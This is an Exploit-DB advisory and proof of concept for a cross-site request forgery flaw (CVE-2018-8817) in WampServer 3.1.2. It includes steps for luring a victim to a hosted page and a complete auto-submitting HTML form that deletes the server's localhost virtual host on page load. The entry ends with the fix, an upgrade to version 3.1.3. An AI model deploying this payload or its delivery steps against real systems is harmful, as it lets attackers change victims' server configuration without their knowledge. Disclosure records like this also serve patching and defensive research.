EDB-ID: 44385 | Author: Vipin Chaudhary | Published: 2018-04-02 | CVE: CVE-2018-8817 | Type: Webapps | Platform: PHP | Vulnerable App: N/A | # Date: 31-03-2018
# Software Link: http://www.wampserver.com/en/
# Version: 3.1.2
# Tested On: Windows 10
# Exploit Author: Vipin Chaudhary
# Contact: http://twitter.com/vipinxsec
# Website: http://medium.com/@vipinxsec
# CVE: CVE-2018-8817
1. Description
CSRF (Cross site request forgery) in WampServer 3.1.2 which allows a remote
attacker to force any victim to add or delete virtual hosts.
http://forum.wampserver.com/read.php?2,138295,150722,page=6#msg-150722
2. Proof of Concept
How to exploit this CSRF vulnerability:
1. Go to Add a Virtual host and add one to wampserver.
2. Now intercept the request with proxy tool like burp suite.
3. Now make a CSRF PoC of the request and to exploit you can host it on
internet and send the link to the victim.
*Exploit Code for deleting any host remotely:*
1. Copy and paste this CSRF request in notepad and save it as anything.html
<html>
<body onload="wamp_csrf.submit();">
<form action="http://localhost/add_vhost.php?lang=english"
name="wamp_csrf" method="POST">
<input type="hidden" name="virtual_del[]"
value="localhost" />
<input type="hidden" name="vhostdelete" value="Suppress VirtualHost"
/>
</form>
</body>
</html>
2. Then run it on your installed vulnerable wampserver.
3. Solution:
Update to version 3.1.3
http://www.wampserver.com/en/#download-wrapper
